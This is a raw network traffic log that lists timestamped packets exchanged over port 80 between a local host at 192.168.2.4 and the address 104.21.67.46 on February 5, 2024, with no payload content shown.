Feb 5, 2024 10:57:30.946032047 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946043968 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.946050882 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946075916 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.946077108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946115971 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.946852922 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946877956 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946896076 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946913958 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946918011 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.946933031 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.946954966 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.947671890 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.947717905 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.947736025 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.947747946 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.947752953 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.947772026 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.947788954 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.947822094 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.948472977 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.948491096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.948508978 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.948525906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.948529005 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.948544979 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.948564053 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.949275017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.949312925 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.949337006 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.949354887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.949371099 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.949388981 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.949388981 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.949428082 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.950057983 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.950107098 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.950126886 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.950144053 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.950144053 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.950169086 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.950190067 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.950984955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951001883 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951019049 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951021910 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.951036930 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951056004 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.951056957 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951097012 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.951798916 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951818943 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951834917 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951850891 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.951852083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951872110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.951888084 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.952640057 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.952656984 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.952673912 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.952680111 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.952692032 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.952711105 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.952716112 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.952749014 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.953435898 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.953455925 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.953474045 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.953490973 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.953491926 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.953510046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.953526020 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.962035894 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962054968 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962070942 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962090015 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962105036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962126017 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.962179899 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.962348938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962373972 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962390900 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962409019 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962414026 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.962429047 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.962444067 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.963140011 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.963176966 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.963198900 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.963217020 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.963234901 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.963252068 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.963253021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.963291883 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.964073896 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964123011 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964140892 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964159966 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964162111 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.964179993 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964195967 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.964843988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964862108 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964885950 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.964900017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964920044 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964935064 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.964940071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.964977026 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.965607882 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.965677977 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.965694904 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.965712070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.965718031 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.965730906 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.965744972 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.966480970 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.966526031 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.966563940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.966582060 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.966598988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.966614962 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.966617107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.966651917 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.967314959 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.967358112 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.967375994 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.967394114 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.967396975 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.967411995 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.967430115 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.968135118 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.968153000 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.968169928 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.968180895 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.968188047 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.968208075 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.968214989 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.968241930 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.969120026 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969139099 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969156981 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969180107 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.969197989 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969217062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969233990 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.969744921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969780922 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.969945908 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969964981 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969983101 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.969996929 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.970001936 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970020056 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970037937 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.970715046 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970752954 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.970767021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970791101 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970808983 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970833063 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.970834970 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.970865965 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.971605062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.971622944 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.971640110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.971657038 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.971657991 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.971677065 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.971689939 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.972425938 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.972445011 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.972461939 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.972462893 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:30.972480059 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:30.972497940 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.025543928 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025569916 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025588036 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025604963 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025605917 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.025625944 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025628090 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.025685072 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.025844097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025873899 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025907993 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.025929928 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025948048 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025963068 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.025985003 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.026608944 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.026628017 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.026644945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.026648045 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.026663065 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.026679993 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.026685953 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.026715994 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.027363062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.027419090 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.027440071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.027456045 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.027458906 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.027473927 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.027494907 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.028330088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.028352022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.028368950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.028376102 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.028387070 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.028408051 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.052464008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052520990 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052546978 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.052608013 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052627087 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052643061 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.052644014 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052663088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052678108 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.052680016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.052716017 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.054445982 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054470062 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054492950 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054513931 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.054702997 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054722071 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054742098 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.054765940 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054785013 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054799080 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.054802895 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.054836035 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.055488110 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.055506945 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.055522919 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.055545092 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.055558920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.055577993 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.055596113 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.056415081 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.056437016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.056456089 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.056461096 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.056473970 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.056488037 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.056492090 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.056524038 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.057171106 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.057192087 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.057221889 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.057235003 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.057239056 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.057256937 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.057272911 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.058006048 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058031082 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058048964 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058056116 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.058067083 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058084011 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.058085918 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058125973 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.058790922 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058813095 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058831930 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058850050 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058851957 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.058867931 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.058883905 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.059712887 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.059737921 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.059752941 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.059763908 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.059782028 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.059798002 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.059801102 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.059842110 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.060540915 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.060561895 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.060580015 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.060595036 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.060596943 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.060616016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.060632944 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.061162949 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.061202049 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.061323881 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.061342955 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.061376095 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.061377048 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.061394930 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.061413050 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.061425924 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.062196970 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062220097 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062235117 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.062238932 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062258005 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062273026 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.062277079 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062311888 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.062850952 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062937021 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062956095 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062973022 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.062974930 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.062992096 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.063005924 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.063839912 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.063874960 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.063888073 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.063894033 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.063913107 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.063930988 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.063931942 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.063963890 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.064678907 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.064702034 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.064718008 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.064733982 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.064738035 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.064759016 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.064773083 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.065382004 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.065404892 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.065419912 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.065423012 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.065443039 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.065458059 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.065460920 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.065493107 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.066322088 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.066355944 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.066380024 CET	80	49736	104.21.67.46	192.168.2.4
Feb 5, 2024 10:57:31.066396952 CET	49736	80	192.168.2.4	104.21.67.46
Feb 5, 2024 10:57:31.066399097 CET	80	49736	104.21.67.46	192.168.2.4
